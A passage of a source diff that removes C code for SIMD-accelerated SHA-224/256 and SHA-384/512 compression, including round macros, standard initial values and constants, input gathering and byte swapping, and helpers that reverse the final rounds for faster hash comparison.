-	d = hash[3] - INIT_D;
-	e = hash[4] - INIT_E;
-	f = hash[5] - INIT_F;
-	g = hash[6] - INIT_G;
-	h = hash[7] - INIT_H;
-
-	s0 = ror(b, 2) ^ ror(b, 13) ^ ror(b, 22);
-	maj = (b & c) ^ (b & d) ^ (c & d);
-	tmp = d;
-	d = e - (a - (s0 + maj));
-	e = f;
-	f = g;
-	g = h;
-	a = b;
-	b = c;
-	c = tmp;
-
-	s0 = ror(b, 2) ^ ror(b, 13) ^ ror(b, 22);
-	maj = (b & c) ^ (b & d) ^ (c & d);
-	tmp = d;
-	d = e - (a - (s0 + maj));
-	e = f;
-	f = g;
-	a = b;
-	b = c;
-	c = tmp;
-
-	s0 = ror(b, 2) ^ ror(b, 13) ^ ror(b, 22);
-	maj = (b & c) ^ (b & d) ^ (c & d);
-	tmp = d;
-	d = e - (a - (s0 + maj));
-	e = f;
-	a = b;
-	b = c;
-	c = tmp;
-
-	s0 = ror(b, 2) ^ ror(b, 13) ^ ror(b, 22);
-	maj = (b & c) ^ (b & d) ^ (c & d);
-
-	hash[0] = e - (a - (s0 + maj));
-}
-
-void sha256_unreverse(void)
-{
-	fprintf(stderr, "sha256_unreverse() not implemented\n");
-	perror("sha256_unreverse");
-}
-
-#undef ror
-
-#undef INIT_H
-#undef INIT_G
-#undef INIT_F
-#undef INIT_E
-#undef INIT_D
-#undef INIT_C
-#undef INIT_B
-#undef INIT_A
-
-#define INIT_D 0xf70e5939
-
-void sha224_reverse(uint32_t * hash) { hash[3] -= INIT_D; }
-
-void sha224_unreverse(uint32_t * hash) { hash[3] += INIT_D; }
-
-#undef INIT_D
-
-void SIMDSHA256body(vtype * data,
-					ARCH_WORD_32 * out,
-					ARCH_WORD_32 * reload_state,
-					unsigned SSEi_flags)
-{
-	vtype a[SIMD_PARA_SHA256], b[SIMD_PARA_SHA256], c[SIMD_PARA_SHA256],
-		d[SIMD_PARA_SHA256], e[SIMD_PARA_SHA256], f[SIMD_PARA_SHA256],
-		g[SIMD_PARA_SHA256], h[SIMD_PARA_SHA256];
-	union {
-		vtype w[16];
-		ARCH_WORD_32 p[16 * sizeof(vtype) / sizeof(ARCH_WORD_32)];
-	} _w[SIMD_PARA_SHA256];
-	vtype tmp1[SIMD_PARA_SHA256], tmp2[SIMD_PARA_SHA256], *w = NULL;
-	ARCH_WORD_32 * saved_key = 0;
-
-	unsigned int i, k;
-	if (SSEi_flags & SSEi_FLAT_IN)
-	{
-
-#if __SSE4_1__ || __MIC__
-		saved_key = (ARCH_WORD_32 *) data;
-		SHA256_PARA_DO(k)
-		{
-			w = _w[k].w;
-			if (SSEi_flags & SSEi_4BUF_INPUT)
-			{
-				for (i = 0; i < 14; ++i)
-				{
-					GATHER_4x(w[i], saved_key, i);
-					vswap32(w[i]);
-				}
-				GATHER_4x(w[14], saved_key, 14);
-				GATHER_4x(w[15], saved_key, 15);
-				saved_key += (VS32 << 6);
-			}
-			else if (SSEi_flags & SSEi_2BUF_INPUT)
-			{
-				for (i = 0; i < 14; ++i)
-				{
-					GATHER_2x(w[i], saved_key, i);
-					vswap32(w[i]);
-				}
-				GATHER_2x(w[14], saved_key, 14);
-				GATHER_2x(w[15], saved_key, 15);
-				saved_key += (VS32 << 5);
-			}
-			else
-			{
-				for (i = 0; i < 14; ++i)
-				{
-					GATHER(w[i], saved_key, i);
-					vswap32(w[i]);
-				}
-				GATHER(w[14], saved_key, 14);
-				GATHER(w[15], saved_key, 15);
-				saved_key += (VS32 << 4);
-			}
-			if (((SSEi_flags & SSEi_2BUF_INPUT_FIRST_BLK)
-				 == SSEi_2BUF_INPUT_FIRST_BLK)
-				|| ((SSEi_flags & SSEi_4BUF_INPUT_FIRST_BLK)
-					== SSEi_4BUF_INPUT_FIRST_BLK)
-				|| ((SSEi_flags & SSEi_FLAT_RELOAD_SWAPLAST)
-					== SSEi_FLAT_RELOAD_SWAPLAST))
-			{
-				vswap32(w[14]);
-				vswap32(w[15]);
-			}
-		}
-#else
-		unsigned int j;
-		saved_key = (ARCH_WORD_32 *) data;
-		SHA256_PARA_DO(k)
-		{
-			ARCH_WORD_32 * p = _w[k].p;
-			w = _w[k].w;
-			if (SSEi_flags & SSEi_4BUF_INPUT)
-			{
-				for (j = 0; j < 16; j++)
-					for (i = 0; i < VS32; i++) *p++ = saved_key[(i << 6) + j];
-				saved_key += (VS32 << 6);
-			}
-			else if (SSEi_flags & SSEi_2BUF_INPUT)
-			{
-				for (j = 0; j < 16; j++)
-					for (i = 0; i < VS32; i++) *p++ = saved_key[(i << 5) + j];
-				saved_key += (VS32 << 5);
-			}
-			else
-			{
-				for (j = 0; j < 16; j++)
-					for (i = 0; i < VS32; i++) *p++ = saved_key[(i << 4) + j];
-				saved_key += (VS32 << 4);
-			}
-			for (i = 0; i < 14; i++) vswap32(w[i]);
-			if (((SSEi_flags & SSEi_2BUF_INPUT_FIRST_BLK)
-				 == SSEi_2BUF_INPUT_FIRST_BLK)
-				|| ((SSEi_flags & SSEi_4BUF_INPUT_FIRST_BLK)
-					== SSEi_4BUF_INPUT_FIRST_BLK)
-				|| ((SSEi_flags & SSEi_FLAT_RELOAD_SWAPLAST)
-					== SSEi_FLAT_RELOAD_SWAPLAST))
-			{
-				vswap32(w[14]);
-				vswap32(w[15]);
-			}
-		}
-#endif
-	}
-	else
-		memcpy(_w, data, 16 * sizeof(vtype) * SIMD_PARA_SHA256);
-
-	//	dump_stuff_shammx(w, 64, 0);
-
-	if (SSEi_flags & SSEi_RELOAD)
-	{
-		if ((SSEi_flags & SSEi_RELOAD_INP_FMT) == SSEi_RELOAD_INP_FMT)
-		{
-			SHA256_PARA_DO(i)
-			{
-				a[i] = vload((vtype *) &reload_state[i * 16 * VS32 + 0 * VS32]);
-				b[i] = vload((vtype *) &reload_state[i * 16 * VS32 + 1 * VS32]);
-				c[i] = vload((vtype *) &reload_state[i * 16 * VS32 + 2 * VS32]);
-				d[i] = vload((vtype *) &reload_state[i * 16 * VS32 + 3 * VS32]);
-				e[i] = vload((vtype *) &reload_state[i * 16 * VS32 + 4 * VS32]);
-				f[i] = vload((vtype *) &reload_state[i * 16 * VS32 + 5 * VS32]);
-				g[i] = vload((vtype *) &reload_state[i * 16 * VS32 + 6 * VS32]);
-				h[i] = vload((vtype *) &reload_state[i * 16 * VS32 + 7 * VS32]);
-			}
-		}
-		else
-		{
-			SHA256_PARA_DO(i)
-			{
-				a[i] = vload((vtype *) &reload_state[i * 8 * VS32 + 0 * VS32]);
-				b[i] = vload((vtype *) &reload_state[i * 8 * VS32 + 1 * VS32]);
-				c[i] = vload((vtype *) &reload_state[i * 8 * VS32 + 2 * VS32]);
-				d[i] = vload((vtype *) &reload_state[i * 8 * VS32 + 3 * VS32]);
-				e[i] = vload((vtype *) &reload_state[i * 8 * VS32 + 4 * VS32]);
-				f[i] = vload((vtype *) &reload_state[i * 8 * VS32 + 5 * VS32]);
-				g[i] = vload((vtype *) &reload_state[i * 8 * VS32 + 6 * VS32]);
-				h[i] = vload((vtype *) &reload_state[i * 8 * VS32 + 7 * VS32]);
-			}
-		}
-	}
-	else
-	{
-		if (SSEi_flags & SSEi_CRYPT_SHA224)
-		{
-			SHA256_PARA_DO(i)
-			{
-				/* SHA-224 IV */
-				a[i] = vset1_epi32(0xc1059ed8);
-				b[i] = vset1_epi32(0x367cd507);
-				c[i] = vset1_epi32(0x3070dd17);
-				d[i] = vset1_epi32(0xf70e5939);
-				e[i] = vset1_epi32(0xffc00b31);
-				f[i] = vset1_epi32(0x68581511);
-				g[i] = vset1_epi32(0x64f98fa7);
-				h[i] = vset1_epi32(0xbefa4fa4);
-			}
-		}
-		else
-		{
-			SHA256_PARA_DO(i)
-			{
-				// SHA-256 IV */
-				a[i] = vset1_epi32(0x6a09e667);
-				b[i] = vset1_epi32(0xbb67ae85);
-				c[i] = vset1_epi32(0x3c6ef372);
-				d[i] = vset1_epi32(0xa54ff53a);
-				e[i] = vset1_epi32(0x510e527f);
-				f[i] = vset1_epi32(0x9b05688c);
-				g[i] = vset1_epi32(0x1f83d9ab);
-				h[i] = vset1_epi32(0x5be0cd19);
-			}
-		}
-	}
-
-	SHA256_STEP(a, b, c, d, e, f, g, h, 0, 0x428a2f98);
-	SHA256_STEP(h, a, b, c, d, e, f, g, 1, 0x71374491);
-	SHA256_STEP(g, h, a, b, c, d, e, f, 2, 0xb5c0fbcf);
-	SHA256_STEP(f, g, h, a, b, c, d, e, 3, 0xe9b5dba5);
-	SHA256_STEP(e, f, g, h, a, b, c, d, 4, 0x3956c25b);
-	SHA256_STEP(d, e, f, g, h, a, b, c, 5, 0x59f111f1);
-	SHA256_STEP(c, d, e, f, g, h, a, b, 6, 0x923f82a4);
-	SHA256_STEP(b, c, d, e, f, g, h, a, 7, 0xab1c5ed5);
-	SHA256_STEP(a, b, c, d, e, f, g, h, 8, 0xd807aa98);
-	SHA256_STEP(h, a, b, c, d, e, f, g, 9, 0x12835b01);
-	SHA256_STEP(g, h, a, b, c, d, e, f, 10, 0x243185be);
-	SHA256_STEP(f, g, h, a, b, c, d, e, 11, 0x550c7dc3);
-	SHA256_STEP(e, f, g, h, a, b, c, d, 12, 0x72be5d74);
-	SHA256_STEP(d, e, f, g, h, a, b, c, 13, 0x80deb1fe);
-	SHA256_STEP(c, d, e, f, g, h, a, b, 14, 0x9bdc06a7);
-	SHA256_STEP(b, c, d, e, f, g, h, a, 15, 0xc19bf174);
-
-	SHA256_STEP(a, b, c, d, e, f, g, h, 16, 0xe49b69c1);
-	SHA256_STEP(h, a, b, c, d, e, f, g, 17, 0xefbe4786);
-	SHA256_STEP(g, h, a, b, c, d, e, f, 18, 0x0fc19dc6);
-	SHA256_STEP(f, g, h, a, b, c, d, e, 19, 0x240ca1cc);
-	SHA256_STEP(e, f, g, h, a, b, c, d, 20, 0x2de92c6f);
-	SHA256_STEP(d, e, f, g, h, a, b, c, 21, 0x4a7484aa);
-	SHA256_STEP(c, d, e, f, g, h, a, b, 22, 0x5cb0a9dc);
-	SHA256_STEP(b, c, d, e, f, g, h, a, 23, 0x76f988da);
-	SHA256_STEP(a, b, c, d, e, f, g, h, 24, 0x983e5152);
-	SHA256_STEP(h, a, b, c, d, e, f, g, 25, 0xa831c66d);
-	SHA256_STEP(g, h, a, b, c, d, e, f, 26, 0xb00327c8);
-	SHA256_STEP(f, g, h, a, b, c, d, e, 27, 0xbf597fc7);
-	SHA256_STEP(e, f, g, h, a, b, c, d, 28, 0xc6e00bf3);
-	SHA256_STEP(d, e, f, g, h, a, b, c, 29, 0xd5a79147);
-	SHA256_STEP(c, d, e, f, g, h, a, b, 30, 0x06ca6351);
-	SHA256_STEP(b, c, d, e, f, g, h, a, 31, 0x14292967);
-
-	SHA256_STEP(a, b, c, d, e, f, g, h, 32, 0x27b70a85);
-	SHA256_STEP(h, a, b, c, d, e, f, g, 33, 0x2e1b2138);
-	SHA256_STEP(g, h, a, b, c, d, e, f, 34, 0x4d2c6dfc);
-	SHA256_STEP(f, g, h, a, b, c, d, e, 35, 0x53380d13);
-	SHA256_STEP(e, f, g, h, a, b, c, d, 36, 0x650a7354);
-	SHA256_STEP(d, e, f, g, h, a, b, c, 37, 0x766a0abb);
-	SHA256_STEP(c, d, e, f, g, h, a, b, 38, 0x81c2c92e);
-	SHA256_STEP(b, c, d, e, f, g, h, a, 39, 0x92722c85);
-	SHA256_STEP(a, b, c, d, e, f, g, h, 40, 0xa2bfe8a1);
-	SHA256_STEP(h, a, b, c, d, e, f, g, 41, 0xa81a664b);
-	SHA256_STEP(g, h, a, b, c, d, e, f, 42, 0xc24b8b70);
-	SHA256_STEP(f, g, h, a, b, c, d, e, 43, 0xc76c51a3);
-	SHA256_STEP(e, f, g, h, a, b, c, d, 44, 0xd192e819);
-	SHA256_STEP(d, e, f, g, h, a, b, c, 45, 0xd6990624);
-	SHA256_STEP(c, d, e, f, g, h, a, b, 46, 0xf40e3585);
-	SHA256_STEP(b, c, d, e, f, g, h, a, 47, 0x106aa070);
-
-	SHA256_STEP(a, b, c, d, e, f, g, h, 48, 0x19a4c116);
-	SHA256_STEP(h, a, b, c, d, e, f, g, 49, 0x1e376c08);
-	SHA256_STEP(g, h, a, b, c, d, e, f, 50, 0x2748774c);
-	SHA256_STEP(f, g, h, a, b, c, d, e, 51, 0x34b0bcb5);
-	SHA256_STEP(e, f, g, h, a, b, c, d, 52, 0x391c0cb3);
-	SHA256_STEP(d, e, f, g, h, a, b, c, 53, 0x4ed8aa4a);
-	SHA256_STEP(c, d, e, f, g, h, a, b, 54, 0x5b9cca4f);
-	SHA256_STEP(b, c, d, e, f, g, h, a, 55, 0x682e6ff3);
-	SHA256_STEP(a, b, c, d, e, f, g, h, 56, 0x748f82ee);
-
-	if (SSEi_flags & SSEi_REVERSE_STEPS && !(SSEi_flags & SSEi_CRYPT_SHA224))
-	{
-		SHA256_PARA_DO(i)
-		{
-			vstore((vtype *) &(out[i * 8 * VS32 + 0 * VS32]), h[i]);
-		}
-		return;
-	}
-
-	SHA256_STEP(h, a, b, c, d, e, f, g, 57, 0x78a5636f);
-	SHA256_STEP(g, h, a, b, c, d, e, f, 58, 0x84c87814);
-	SHA256_STEP(f, g, h, a, b, c, d, e, 59, 0x8cc70208);
-	SHA256_STEP(e, f, g, h, a, b, c, d, 60, 0x90befffa);
-
-	if (SSEi_flags & SSEi_REVERSE_STEPS)
-	{
-		SHA256_PARA_DO(i)
-		{
-			vstore((vtype *) &(out[i * 8 * VS32 + 3 * VS32]), d[i]);
-		}
-		return;
-	}
-
-	SHA256_STEP(d, e, f, g, h, a, b, c, 61, 0xa4506ceb);
-	SHA256_STEP(c, d, e, f, g, h, a, b, 62, 0xbef9a3f7);
-	SHA256_STEP(b, c, d, e, f, g, h, a, 63, 0xc67178f2);
-
-	if (SSEi_flags & SSEi_RELOAD)
-	{
-		if ((SSEi_flags & SSEi_RELOAD_INP_FMT) == SSEi_RELOAD_INP_FMT)
-		{
-			SHA256_PARA_DO(i)
-			{
-				a[i] = vadd_epi32(
-					a[i],
-					vload((vtype *) &reload_state[i * 16 * VS32 + 0 * VS32]));
-				b[i] = vadd_epi32(
-					b[i],
-					vload((vtype *) &reload_state[i * 16 * VS32 + 1 * VS32]));
-				c[i] = vadd_epi32(
-					c[i],
-					vload((vtype *) &reload_state[i * 16 * VS32 + 2 * VS32]));
-				d[i] = vadd_epi32(
-					d[i],
-					vload((vtype *) &reload_state[i * 16 * VS32 + 3 * VS32]));
-				e[i] = vadd_epi32(
-					e[i],
-					vload((vtype *) &reload_state[i * 16 * VS32 + 4 * VS32]));
-				f[i] = vadd_epi32(
-					f[i],
-					vload((vtype *) &reload_state[i * 16 * VS32 + 5 * VS32]));
-				g[i] = vadd_epi32(
-					g[i],
-					vload((vtype *) &reload_state[i * 16 * VS32 + 6 * VS32]));
-				h[i] = vadd_epi32(
-					h[i],
-					vload((vtype *) &reload_state[i * 16 * VS32 + 7 * VS32]));
-			}
-		}
-		else
-		{
-			SHA256_PARA_DO(i)
-			{
-				a[i] = vadd_epi32(
-					a[i],
-					vload((vtype *) &reload_state[i * 8 * VS32 + 0 * VS32]));
-				b[i] = vadd_epi32(
-					b[i],
-					vload((vtype *) &reload_state[i * 8 * VS32 + 1 * VS32]));
-				c[i] = vadd_epi32(
-					c[i],
-					vload((vtype *) &reload_state[i * 8 * VS32 + 2 * VS32]));
-				d[i] = vadd_epi32(
-					d[i],
-					vload((vtype *) &reload_state[i * 8 * VS32 + 3 * VS32]));
-				e[i] = vadd_epi32(
-					e[i],
-					vload((vtype *) &reload_state[i * 8 * VS32 + 4 * VS32]));
-				f[i] = vadd_epi32(
-					f[i],
-					vload((vtype *) &reload_state[i * 8 * VS32 + 5 * VS32]));
-				g[i] = vadd_epi32(
-					g[i],
-					vload((vtype *) &reload_state[i * 8 * VS32 + 6 * VS32]));
-				h[i] = vadd_epi32(
-					h[i],
-					vload((vtype *) &reload_state[i * 8 * VS32 + 7 * VS32]));
-			}
-		}
-	}
-	else
-	{
-		if (SSEi_flags & SSEi_CRYPT_SHA224)
-		{
-			SHA256_PARA_DO(i)
-			{
-				/* SHA-224 IV */
-				a[i] = vadd_epi32(a[i], vset1_epi32(0xc1059ed8));
-				b[i] = vadd_epi32(b[i], vset1_epi32(0x367cd507));
-				c[i] = vadd_epi32(c[i], vset1_epi32(0x3070dd17));
-				d[i] = vadd_epi32(d[i], vset1_epi32(0xf70e5939));
-				e[i] = vadd_epi32(e[i], vset1_epi32(0xffc00b31));
-				f[i] = vadd_epi32(f[i], vset1_epi32(0x68581511));
-				g[i] = vadd_epi32(g[i], vset1_epi32(0x64f98fa7));
-				h[i] = vadd_epi32(h[i], vset1_epi32(0xbefa4fa4));
-			}
-		}
-		else
-		{
-			SHA256_PARA_DO(i)
-			{
-				/* SHA-256 IV */
-				a[i] = vadd_epi32(a[i], vset1_epi32(0x6a09e667));
-				b[i] = vadd_epi32(b[i], vset1_epi32(0xbb67ae85));
-				c[i] = vadd_epi32(c[i], vset1_epi32(0x3c6ef372));
-				d[i] = vadd_epi32(d[i], vset1_epi32(0xa54ff53a));
-				e[i] = vadd_epi32(e[i], vset1_epi32(0x510e527f));
-				f[i] = vadd_epi32(f[i], vset1_epi32(0x9b05688c));
-				g[i] = vadd_epi32(g[i], vset1_epi32(0x1f83d9ab));
-				h[i] = vadd_epi32(h[i], vset1_epi32(0x5be0cd19));
-			}
-		}
-	}
-
-	if (SSEi_flags & SSEi_FLAT_OUT)
-	{
-		SHA256_PARA_DO(i)
-		{
-			uint32_t * o = (uint32_t *) &out[i * 8 * VS32];
-#if __AVX512F__ || __MIC__
-			vtype idxs = vset_epi32(15 << 3,
-									14 << 3,
-									13 << 3,
-									12 << 3,
-									11 << 3,
-									10 << 3,
-									9 << 3,
-									8 << 3,
-									7 << 3,
-									6 << 3,
-									5 << 3,
-									4 << 3,
-									3 << 3,
-									2 << 3,
-									1 << 3,
-									0 << 3);
-
-			vscatter_epi32(o + 0, idxs, vswap32(a[i]), 4);
-			vscatter_epi32(o + 1, idxs, vswap32(b[i]), 4);
-			vscatter_epi32(o + 2, idxs, vswap32(c[i]), 4);
-			vscatter_epi32(o + 3, idxs, vswap32(d[i]), 4);
-			vscatter_epi32(o + 4, idxs, vswap32(e[i]), 4);
-			vscatter_epi32(o + 5, idxs, vswap32(f[i]), 4);
-			vscatter_epi32(o + 6, idxs, vswap32(g[i]), 4);
-			vscatter_epi32(o + 7, idxs, vswap32(h[i]), 4);
-#else
-			uint32_t j, k;
-			union {
-				vtype v[8];
-				uint32_t s[8 * VS32];
-			} tmp;
-
-			tmp.v[0] = vswap32(a[i]);
-			tmp.v[1] = vswap32(b[i]);
-			tmp.v[2] = vswap32(c[i]);
-			tmp.v[3] = vswap32(d[i]);
-			tmp.v[4] = vswap32(e[i]);
-			tmp.v[5] = vswap32(f[i]);
-			tmp.v[6] = vswap32(g[i]);
-			tmp.v[7] = vswap32(h[i]);
-
-			for (j = 0; j < VS32; j++)
-				for (k = 0; k < 8; k++) o[j * 8 + k] = tmp.s[k * VS32 + j];
-#endif
-		}
-	}
-	else if (SSEi_flags & SSEi_OUTPUT_AS_INP_FMT)
-	{
-		if ((SSEi_flags & SSEi_OUTPUT_AS_2BUF_INP_FMT)
-			== SSEi_OUTPUT_AS_2BUF_INP_FMT)
-		{
-			SHA256_PARA_DO(i)
-			{
-				vstore((vtype *) &out[i * 32 * VS32 + 0 * VS32], a[i]);
-				vstore((vtype *) &out[i * 32 * VS32 + 1 * VS32], b[i]);
-				vstore((vtype *) &out[i * 32 * VS32 + 2 * VS32], c[i]);
-				vstore((vtype *) &out[i * 32 * VS32 + 3 * VS32], d[i]);
-				vstore((vtype *) &out[i * 32 * VS32 + 4 * VS32], e[i]);
-				vstore((vtype *) &out[i * 32 * VS32 + 5 * VS32], f[i]);
-				vstore((vtype *) &out[i * 32 * VS32 + 6 * VS32], g[i]);
-				vstore((vtype *) &out[i * 32 * VS32 + 7 * VS32], h[i]);
-			}
-		}
-		else
-		{
-			SHA256_PARA_DO(i)
-			{
-				vstore((vtype *) &out[i * 16 * VS32 + 0 * VS32], a[i]);
-				vstore((vtype *) &out[i * 16 * VS32 + 1 * VS32], b[i]);
-				vstore((vtype *) &out[i * 16 * VS32 + 2 * VS32], c[i]);
-				vstore((vtype *) &out[i * 16 * VS32 + 3 * VS32], d[i]);
-				vstore((vtype *) &out[i * 16 * VS32 + 4 * VS32], e[i]);
-				vstore((vtype *) &out[i * 16 * VS32 + 5 * VS32], f[i]);
-				vstore((vtype *) &out[i * 16 * VS32 + 6 * VS32], g[i]);
-				vstore((vtype *) &out[i * 16 * VS32 + 7 * VS32], h[i]);
-			}
-		}
-	}
-	else
-	{
-		SHA256_PARA_DO(i)
-		{
-			vstore((vtype *) &(out[i * 8 * VS32 + 0 * VS32]), a[i]);
-			vstore((vtype *) &(out[i * 8 * VS32 + 1 * VS32]), b[i]);
-			vstore((vtype *) &(out[i * 8 * VS32 + 2 * VS32]), c[i]);
-			vstore((vtype *) &(out[i * 8 * VS32 + 3 * VS32]), d[i]);
-			vstore((vtype *) &(out[i * 8 * VS32 + 4 * VS32]), e[i]);
-			vstore((vtype *) &(out[i * 8 * VS32 + 5 * VS32]), f[i]);
-			vstore((vtype *) &(out[i * 8 * VS32 + 6 * VS32]), g[i]);
-			vstore((vtype *) &(out[i * 8 * VS32 + 7 * VS32]), h[i]);
-		}
-	}
-}
-#endif /* SIMD_PARA_SHA256 */
-
-#if SIMD_PARA_SHA512
-
-#undef S0
-#define S0(x)                                                                  \
-	(vxor(vroti_epi64(x, -39), vxor(vroti_epi64(x, -28), vroti_epi64(x, -34))))
-
-#undef S1
-#define S1(x)                                                                  \
-	(vxor(vroti_epi64(x, -41), vxor(vroti_epi64(x, -14), vroti_epi64(x, -18))))
-
-/*
- * These optimized sigma alternatives are from "Fast SHA-512 Implementations
- * on Intel Architecture Processors" whitepaper by Intel. They result in less
- * register copy operations so is faster despite using more ops. Slight boost
- * indeed seen on intel core i7.
- */
-#if 1
-#undef s0
-#define s0(x)                                                                  \
-	(vxor(vsrli_epi64(vxor(vsrli_epi64(vxor(vsrli_epi64(x, 1), x), 6), x), 1), \
-		  vslli_epi64(vxor(vslli_epi64(x, 7), x), 56)))
-#undef s1
-#define s1(x)                                                                  \
-	(vxor(                                                                     \
-		vsrli_epi64(vxor(vsrli_epi64(vxor(vsrli_epi64(x, 42), x), 13), x), 6), \
-		vslli_epi64(vxor(vslli_epi64(x, 42), x), 3)))
-#else
-#undef s0
-#define s0(x)                                                                  \
-	(vxor(vsrli_epi64(x, 7), vxor(vroti_epi64(x, -1), vroti_epi64(x, -8))))
-
-#undef s1
-#define s1(x)                                                                  \
-	(vxor(vsrli_epi64(x, 6), vxor(vroti_epi64(x, -19), vroti_epi64(x, -61))))
-#endif
-
-#if __AVX512F__
-#define Maj(x, y, z) vternarylogic(x, y, z, 0xE8)
-#elif !VCMOV_EMULATED
-#define Maj(x, y, z) vcmov(x, y, vxor(z, y))
-#else
-#define Maj(x, y, z) vor(vand(x, y), vand(vor(x, y), z))
-#endif
-
-#define Ch(x, y, z) vcmov(y, z, x)
-
-#define SHA512_PARA_DO(x) for (x = 0; x < SIMD_PARA_SHA512; ++x)
-
-#undef R
-#define R(t)                                                                   \
-	{                                                                          \
-		tmp1[i] = vadd_epi64(s1(w[i][(t - 2) & 0xf]), w[i][(t - 7) & 0xf]);    \
-		tmp2[i] = vadd_epi64(s0(w[i][(t - 15) & 0xf]), w[i][(t - 16) & 0xf]);  \
-		w[i][(t) &0xf] = vadd_epi64(tmp1[i], tmp2[i]);                         \
-	}
-
-#define SHA512_STEP(a, b, c, d, e, f, g, h, x, K)                              \
-	{                                                                          \
-		SHA512_PARA_DO(i)                                                      \
-		{                                                                      \
-			tmp1[i] = vadd_epi64(h[i], w[i][(x) &0xf]);                        \
-			tmp2[i] = vadd_epi64(S1(e[i]), vset1_epi64(K));                    \
-			tmp1[i] = vadd_epi64(tmp1[i], Ch(e[i], f[i], g[i]));               \
-			tmp1[i] = vadd_epi64(tmp1[i], tmp2[i]);                            \
-			tmp2[i] = vadd_epi64(S0(a[i]), Maj(a[i], b[i], c[i]));             \
-			d[i] = vadd_epi64(tmp1[i], d[i]);                                  \
-			h[i] = vadd_epi64(tmp1[i], tmp2[i]);                               \
-			if (x < 64) R(x);                                                  \
-		}                                                                      \
-	}
-
-#define INIT_A 0x6a09e667f3bcc908ULL
-#define INIT_B 0xbb67ae8584caa73bULL
-#define INIT_C 0x3c6ef372fe94f82bULL
-#define INIT_D 0xa54ff53a5f1d36f1ULL
-#define INIT_E 0x510e527fade682d1ULL
-#define INIT_F 0x9b05688c2b3e6c1fULL
-#define INIT_G 0x1f83d9abfb41bd6bULL
-#define INIT_H 0x5be0cd19137e2179ULL
-
-#define ror(x, n) ((x >> n) | (x << (64 - n)))
-
-void sha512_reverse(uint64_t * hash)
-{
-	uint64_t a, b, c, d, e, f, g, h, s0, maj, tmp;
-
-	a = hash[0] - INIT_A;
-	b = hash[1] - INIT_B;
-	c = hash[2] - INIT_C;
-	d = hash[3] - INIT_D;
-	e = hash[4] - INIT_E;
-	f = hash[5] - INIT_F;
-	g = hash[6] - INIT_G;
-	h = hash[7] - INIT_H;
-
-	s0 = ror(b, 28) ^ ror(b, 34) ^ ror(b, 39);
-	maj = (b & c) ^ (b & d) ^ (c & d);
-	tmp = d;
-	d = e - (a - (s0 + maj));
-	e = f;
-	f = g;
-	g = h;
-	a = b;
-	b = c;
-	c = tmp;
-
-	s0 = ror(b, 28) ^ ror(b, 34) ^ ror(b, 39);
-	maj = (b & c) ^ (b & d) ^ (c & d);
-	tmp = d;
-	d = e - (a - (s0 + maj));
-	e = f;
-	f = g;
-	a = b;
-	b = c;
-	c = tmp;
-
-	s0 = ror(b, 28) ^ ror(b, 34) ^ ror(b, 39);
-	maj = (b & c) ^ (b & d) ^ (c & d);
-	tmp = d;
-	d = e - (a - (s0 + maj));
-	e = f;
-	a = b;
-	b = c;
-	c = tmp;
-
-	s0 = ror(b, 28) ^ ror(b, 34) ^ ror(b, 39);
-	maj = (b & c) ^ (b & d) ^ (c & d);
-
-	hash[0] = e - (a - (s0 + maj));
-}
-
-void sha512_unreverse(void)
-{
-	fprintf(stderr, "sha512_unreverse() not implemented\n");
-	perror("sha512");
-}
-
-#undef ror
-
-#undef INIT_H
-#undef INIT_G
-#undef INIT_F
-#undef INIT_E
-#undef INIT_D
-#undef INIT_C
-#undef INIT_B
-#undef INIT_A
-
-#define INIT_D 0x152fecd8f70e5939ULL
-
-void sha384_reverse(ARCH_WORD_64 * hash) { hash[3] -= INIT_D; }
-
-void sha384_unreverse(ARCH_WORD_64 * hash) { hash[3] += INIT_D; }
-
-#undef INIT_D
-
-void SIMDSHA512body(vtype * data,
-					ARCH_WORD_64 * out,
-					ARCH_WORD_64 * reload_state,
-					unsigned SSEi_flags)
-{
-	unsigned int i, k;
-
-	vtype a[SIMD_PARA_SHA512], b[SIMD_PARA_SHA512], c[SIMD_PARA_SHA512],
-		d[SIMD_PARA_SHA512], e[SIMD_PARA_SHA512], f[SIMD_PARA_SHA512],
-		g[SIMD_PARA_SHA512], h[SIMD_PARA_SHA512];
-	vtype w[SIMD_PARA_SHA512][16];
-	vtype tmp1[SIMD_PARA_SHA512], tmp2[SIMD_PARA_SHA512];
-
-	if (SSEi_flags & SSEi_FLAT_IN)
-	{
-		ARCH_WORD_64 * _data = (ARCH_WORD_64 *) data;
-		SHA512_PARA_DO(k)
-		{
-			if (SSEi_flags & SSEi_2BUF_INPUT)
-			{
-				ARCH_WORD_64(*saved_key)[32] = (ARCH_WORD_64(*)[32]) _data;
-				for (i = 0; i < 14; i += 2)
-				{
-					GATHER64(tmp1[k], saved_key, i);
-					GATHER64(tmp2[k], saved_key, i + 1);
-					vswap64(tmp1[k]);
-					vswap64(tmp2[k]);
-					w[k][i] = tmp1[k];
-					w[k][i + 1] = tmp2[k];
-				}
-				GATHER64(tmp1[k], saved_key, 14);
-				GATHER64(tmp2[k], saved_key, 15);
-				_data += (VS64 << 5);
-			}
-			else
-			{
-				ARCH_WORD_64(*saved_key)[16] = (ARCH_WORD_64(*)[16]) _data;
-				for (i = 0; i < 14; i += 2)
-				{
-					GATHER64(tmp1[k], saved_key, i);
-					GATHER64(tmp2[k], saved_key, i + 1);
-					vswap64(tmp1[k]);
-					vswap64(tmp2[k]);
-					w[k][i] = tmp1[k];
-					w[k][i + 1] = tmp2[k];
-				}
-				GATHER64(tmp1[k], saved_key, 14);
-				GATHER64(tmp2[k], saved_key, 15);
-				_data += (VS64 << 4);
-			}
-			if (((SSEi_flags & SSEi_2BUF_INPUT_FIRST_BLK)
-				 == SSEi_2BUF_INPUT_FIRST_BLK)
-				|| ((SSEi_flags & SSEi_FLAT_RELOAD_SWAPLAST)
-					== SSEi_FLAT_RELOAD_SWAPLAST))
-			{
-				vswap64(tmp1[k]);
-				vswap64(tmp2[k]);
-			}
-			w[k][14] = tmp1[k];
-			w[k][15] = tmp2[k];
-		}
-	}
-	else
-		memcpy(w, data, 16 * sizeof(vtype) * SIMD_PARA_SHA512);
-
-	// dump_stuff_shammx64_msg("\nindex 2", w, 128, 2);
-
-	if (SSEi_flags & SSEi_RELOAD)
-	{
-		if ((SSEi_flags & SSEi_RELOAD_INP_FMT) == SSEi_RELOAD_INP_FMT)
-		{
-			SHA512_PARA_DO(i)
-			{
-				a[i] = vload((vtype *) &reload_state[i * 16 * VS64 + 0 * VS64]);
-				b[i] = vload((vtype *) &reload_state[i * 16 * VS64 + 1 * VS64]);
-				c[i] = vload((vtype *) &reload_state[i * 16 * VS64 + 2 * VS64]);
